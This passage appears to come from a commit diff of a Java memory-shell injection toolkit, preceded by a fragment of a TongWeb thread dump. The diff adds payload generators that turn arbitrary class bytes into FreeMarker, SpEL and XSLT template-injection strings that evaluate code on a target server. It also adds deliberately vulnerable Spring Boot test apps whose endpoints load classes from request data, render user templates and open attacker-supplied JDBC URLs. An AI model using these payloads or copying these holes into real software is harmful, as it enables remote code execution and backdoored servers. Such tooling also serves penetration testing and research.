at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18)
at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099)
at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161)
at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5a64c566
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
"TongWeb-utility-1" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"container-0" #24 [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Thread.sleep(Native Method)
at com.tongweb.container.core.StandardServer.await(StandardServer.java:548)
at com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1.run(TongWebWebServer.java:147)
===========================================
StackClassNames:
com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController
com.tongweb.connector.AbstractProcessorLight
com.tongweb.connector.AbstractProtocol$ConnectionHandler
com.tongweb.connector.http11.Http11Processor
com.tongweb.container.authenticator.AuthenticatorBase
com.tongweb.container.connector.CoyoteAdapter
com.tongweb.container.core.ApplicationFilterChain
com.tongweb.container.core.StandardContextValve
com.tongweb.container.core.StandardEngineValve
com.tongweb.container.core.StandardHostValve
com.tongweb.container.core.StandardServer
com.tongweb.container.core.StandardWrapperValve
com.tongweb.container.valves.ErrorReportValve
com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1
com.tongweb.web.util.net.Acceptor
com.tongweb.web.util.net.NioEndpoint
com.tongweb.web.util.net.NioEndpoint$Poller
com.tongweb.web.util.net.NioEndpoint$SocketProcessor
com.tongweb.web.util.net.SocketProcessorBase
com.tongweb.web.util.threads.TaskQueue
com.tongweb.web.util.threads.TaskThread$WrappingRunnable
com.tongweb.web.util.threads.ThreadPoolExecutor
com.tongweb.web.util.threads.ThreadPoolExecutor$Worker
jakarta.servlet.http.HttpServlet
org.springframework.mcnFX.ErrorHladkHandler
org.springframework.web.filter.CharacterEncodingFilter
org.springframework.web.filter.FormContentFilter
org.springframework.web.filter.OncePerRequestFilter
org.springframework.web.filter.RequestContextFilter
org.springframework.web.method.support.InvocableHandlerMethod
org.springframework.web.servlet.DispatcherServlet
org.springframework.web.servlet.FrameworkServlet
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod
@@ -13,6 +13,9 @@ import com.reajason.javaweb.packer.deserialize.hessian.HessianXSLTScriptEnginePa
import com.reajason.javaweb.packer.deserialize.java.*; import com.reajason.javaweb.packer.deserialize.java.*;
import com.reajason.javaweb.packer.el.ELPacker; import com.reajason.javaweb.packer.el.ELPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerPacker; import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerScriptEnginePacker;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipJDK17Packer;
import com.reajason.javaweb.packer.freemarker.FreemarkerSpELSpringGzipPacker;
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker; import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
import com.reajason.javaweb.packer.groovy.GroovyPacker; import com.reajason.javaweb.packer.groovy.GroovyPacker;
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker; import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
@@ -50,6 +53,8 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
import com.reajason.javaweb.packer.xslt.XSLTPacker;
import com.reajason.javaweb.packer.xslt.XSLTScriptEnginePacker;
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker; import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker; import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
import com.reajason.javaweb.packer.xxljob.XxlJobPacker; import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
@@ -142,12 +147,21 @@ public enum Packers {
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class), GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
Freemarker(new FreemarkerPacker()), Freemarker(new FreemarkerPacker()),
FreemarkerScriptEngine(new FreemarkerScriptEnginePacker(), FreemarkerPacker.class),
FreemarkerSpELSpringGzip(new FreemarkerSpELSpringGzipPacker(), FreemarkerPacker.class),
FreemarkerSpELSpringGzipJDK17(new FreemarkerSpELSpringGzipJDK17Packer(), FreemarkerPacker.class),
Velocity(new VelocityPacker()), Velocity(new VelocityPacker()),
JinJava(new JinJavaPacker()), JinJava(new JinJavaPacker()),
XMLDecoder(new XMLDecoderPacker()), XMLDecoder(new XMLDecoderPacker()),
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class), XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class), XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
/**
* XSLT 打包器
*/
XSLT(new XSLTPacker()),
XSLTScriptEngine(new XSLTScriptEnginePacker(), XSLTPacker.class),
/** /**
* Java 反序列化打包器 * Java 反序列化打包器
*/ */
@@ -1,19 +1,10 @@
package com.reajason.javaweb.packer.freemarker; package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/13 * @since 2024/12/13
*/ */
public class FreemarkerPacker implements Packer { public class FreemarkerPacker implements AggregatePacker {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
} }
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerScriptEnginePacker implements Packer {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid;
/**
* JDK 17-compatible FreeMarker/SpEL class-definition payload.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELSpringGzipJDK17Packer implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
String className = config.getClassName();
assertClassNameValid(className);
return template.replace("{{className}}", className)
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* Uses FreeMarker's ObjectConstructor to create a SpEL parser and evaluate a
* compressed class-definition expression.
*
* @author ReaJason
* @since 2026/8/30
*/
public class FreemarkerSpELSpringGzipPacker implements Packer {
String template = "${\"freemarker.template.utility.ObjectConstructor\"?new()(\"org.springframework.expression.spel.standard.SpelExpressionParser\").parseExpression(\"T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()\").getValue()}";
@Override
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config));
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTPacker implements AggregatePacker {
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
/**
* JDK 1.6 ~ 1.8 XSLT payload (Xalan Java extension functions): decodes the
* JavaScript payload with javax.xml.bind.DatatypeConverter (bundled since JDK6,
* removed in JDK11) and evaluates it through the built-in ScriptEngineManager
* js engine (Rhino on JDK 1.6/1.7, Nashorn on JDK 1.8).
*
* @author ReaJason
* @since 2026/8/30
*/
public class XSLTScriptEnginePacker implements Packer {
String template = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:base=\"http://xml.apache.org/xalan/java/javax.xml.bind.DatatypeConverter\" " +
"xmlns:stringclazz=\"http://xml.apache.org/xalan/java/java.lang.String\" " +
"xmlns:jsclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\" " +
"xmlns:jseclazz=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\" " +
"exclude-result-prefixes=\"base stringclazz jsclazz jseclazz\">" +
"<xsl:template match=\"/\">" +
"<xsl:variable name=\"payload\" select=\"stringclazz:new(base:parseBase64Binary('{{base64Str}}'))\"/>" +
"<xsl:variable name=\"jsobj\" select=\"jsclazz:new()\"/>" +
"<xsl:variable name=\"jso\" select=\"jsclazz:getEngineByName($jsobj,'js')\"/>" +
"<xsl:variable name=\"jse\" select=\"jseclazz:eval($jso,$payload)\"/>" +
"<xsl:value-of select=\"$jse\"/>" +
"</xsl:template>" +
"</xsl:stylesheet>";
@Override
public String pack(ClassPackerConfig config) {
String js = Packers.DefaultScriptEngine.getInstance().pack(config);
return template.replace("{{base64Str}}",
Base64.getEncoder().encodeToString(js.getBytes(StandardCharsets.UTF_8)));
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
class FreemarkerSpELSpringGzipPackerTest {
private static ClassPackerConfig config(String className) {
ClassPackerConfig config = new ClassPackerConfig();
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
config.setClassName(className);
config.setClassBytes(classBytes);
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
return config;
}
@Test
void pack() {
String payload = new FreemarkerSpELSpringGzipPacker().pack(config("com.example.Test"));
assertTrue(payload.startsWith("${\"freemarker.template.utility.ObjectConstructor\"?new()"));
assertTrue(payload.contains("SpelExpressionParser"));
assertTrue(payload.contains("Base64Utils"));
assertTrue(payload.contains("GZIPInputStream"));
assertTrue(payload.contains("com.example.Test"));
}
@Test
void packJdk17() {
FreemarkerSpELSpringGzipJDK17Packer packer = new FreemarkerSpELSpringGzipJDK17Packer();
assertDoesNotThrow(() -> packer.pack(config("org.springframework.expression.Test")));
assertThrows(UnsupportedOperationException.class,
() -> packer.pack(config("com.example.Test")));
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.xslt;
import com.reajason.javaweb.packer.ClassPackerConfig;
import org.junit.jupiter.api.Test;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
class XSLTPackerTest {
private static ClassPackerConfig config(String className) {
ClassPackerConfig config = new ClassPackerConfig();
byte[] classBytes = "hello".getBytes(StandardCharsets.UTF_8);
config.setClassName(className);
config.setClassBytes(classBytes);
config.setClassBytesBase64Str(Base64.getEncoder().encodeToString(classBytes));
return config;
}
@Test
void packScriptEngine() {
String payload = new XSLTScriptEnginePacker().pack(config("com.example.Test"));
assertTrue(payload.startsWith("<xsl:stylesheet"));
assertTrue(payload.contains("DatatypeConverter"));
assertTrue(payload.contains("ScriptEngineManager"));
// the inner js payload is base64 encoded, class name should not appear in plain text
assertFalse(payload.contains("com.example.Test"));
}
}
+2
View File
@@ -44,9 +44,11 @@ include("vul:vul-springboot2")
include("vul:vul-springboot2-jetty") include("vul:vul-springboot2-jetty")
include("vul:vul-springboot2-undertow") include("vul:vul-springboot2-undertow")
include("vul:vul-springboot3") include("vul:vul-springboot3")
include("vul:vul-springboot4")
include("vul:vul-springboot359") include("vul:vul-springboot359")
include("vul:vul-springboot2-webflux") include("vul:vul-springboot2-webflux")
include("vul:vul-springboot3-webflux") include("vul:vul-springboot3-webflux")
include("vul:vul-springboot4-webflux")
include("vul:vul-playframework") include("vul:vul-playframework")
include("vul:vul-dubbo") include("vul:vul-dubbo")
include("memshell-agent:memshell-agent-attacher") include("memshell-agent:memshell-agent-attacher")
+1
View File
@@ -22,6 +22,7 @@ dependencies {
implementation("ognl:ognl:2.7.3") implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3") implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3") implementation("commons-beanutils:commons-beanutils:1.9.3")
implementation("org.freemarker:freemarker:2.3.23")
} }
tasks.test { tasks.test {
@@ -0,0 +1,35 @@
package com.reajason.javaweb.vul.springboot3.controller;
import freemarker.template.Configuration;
import freemarker.template.Template;
import freemarker.template.TemplateException;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2026/8/30
*/
@RestController
@RequestMapping("/freemarker")
public class FreemarkerController {
@PostMapping
public String freemarker(@RequestParam String data) throws IOException, TemplateException {
Configuration configuration = new Configuration();
configuration.setDefaultEncoding("UTF-8");
Map<String, Object> input = new HashMap<>();
input.put("object", new Object());
Template template = new Template("templateName", new StringReader(data), configuration);
StringWriter output = new StringWriter();
template.process(input, output);
return output.toString();
}
}
+8
View File
@@ -0,0 +1,8 @@
FROM eclipse-temurin:21.0.11_10-jdk
WORKDIR /app
COPY build/libs/vul-springboot4-webflux.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
@@ -0,0 +1,15 @@
plugins {
id("java")
id("org.springframework.boot") version "4.0.8"
id("io.spring.dependency-management") version "1.1.7"
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter-webflux")
}
@@ -0,0 +1,14 @@
package com.reajason.javaweb.vul.springboot4;
public class ClassDefiner extends ClassLoader {
public ClassDefiner() {
}
public ClassDefiner(ClassLoader parent) {
super(parent);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
}
@@ -0,0 +1,13 @@
package com.reajason.javaweb.vul.springboot4;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulSpringboot4Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot4Application.class, args);
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb.vul.springboot4.controller;
import com.reajason.javaweb.vul.springboot4.ClassDefiner;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController {
@PostMapping
public Mono<String> handleFormSubmission(ServerWebExchange exchange) {
return exchange.getFormData()
.flatMap(formData -> {
String data = formData.getFirst("data");
byte[] bytes = Base64.getDecoder().decode(data);
Object o = null;
try {
o = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytes).newInstance();
} catch (Exception e) {
throw new RuntimeException(e);
}
return Mono.just(o.toString());
});
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.vul.springboot4.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
return "";
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1 @@
spring.application.name=vul-springboot4
+8
View File
@@ -0,0 +1,8 @@
FROM eclipse-temurin:21.0.11_10-jdk
WORKDIR /app
COPY build/libs/vul-springboot4.jar /app/app.jar
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS -jar app.jar
+28
View File
@@ -0,0 +1,28 @@
plugins {
id("java")
id("war")
id("org.springframework.boot") version "4.0.8"
id("io.spring.dependency-management") version "1.1.7"
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(17)
}
}
dependencies {
implementation("org.springframework.boot:spring-boot-starter-webmvc")
testImplementation("org.springframework.boot:spring-boot-starter-test")
testImplementation("org.junit.jupiter:junit-jupiter-api")
testImplementation("org.junit.jupiter:junit-jupiter")
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
runtimeOnly("com.h2database:h2")
implementation("ognl:ognl:2.7.3")
implementation("commons-jxpath:commons-jxpath:1.3")
implementation("commons-beanutils:commons-beanutils:1.9.3")
}
tasks.test {
useJUnitPlatform()
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.vul.springboot4;
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
public static Class<?> defineClass(byte[] code) {
return new ClassDefiner().defineClass(null, code, 0, code.length);
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.vul.springboot4;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulSpringboot4Application {
public static void main(String[] args) {
SpringApplication.run(VulSpringboot4Application.class, args);
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.vul.springboot4.controller;
import com.reajason.javaweb.vul.springboot4.ClassDefiner;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.Base64;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
@RequestMapping("/b64")
public class Base64ClassLoaderController {
@PostMapping
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
byte[] bytes = Base64.getDecoder().decode(data);
Object o = ClassDefiner.defineClass(bytes).newInstance();
return o.toString();
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.vul.springboot4.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
* @author ReaJason
* @since 2025/12/6
*/
@RestController
@RequestMapping("/biginteger")
public class BigIntegerClassLoaderController extends ClassLoader {
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
Class<?> decoderClass = Class.forName("java.math.BigInteger");
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
}
@PostMapping
public void base64ClassLoader(String data) throws Exception {
byte[] bytes = decodeBigInteger(data);
defineClass(null, bytes, 0, bytes.length).newInstance();
}
}
@@ -0,0 +1,123 @@
package com.reajason.javaweb.vul.springboot4.controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2024/12/22
*/
@RestController
public class IndexController {
@RequestMapping("/test")
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
return "";
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
@GetMapping("/")
public String index() {
return "hello";
}
}
@@ -0,0 +1,31 @@
package com.reajason.javaweb.vul.springboot4.controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
import java.sql.Connection;
import java.sql.DriverManager;
/**
* @author ReaJason
* @since 2025/6/27
*/
@RestController
public class JDBCController {
@PostMapping("/jdbc")
public void JDBC(String data) throws Exception {
try {
Connection connection = DriverManager.getConnection(data);
connection.close();
} catch (Throwable e) {
Throwable ex = e.getCause();
while (ex.getCause() != null) {
ex = ex.getCause();
}
if (!(ex instanceof ClassCastException)) {
throw e;
}
}
}
}
@@ -0,0 +1,20 @@
package com.reajason.javaweb.vul.springboot4.controller;
import org.apache.commons.jxpath.JXPathContext;
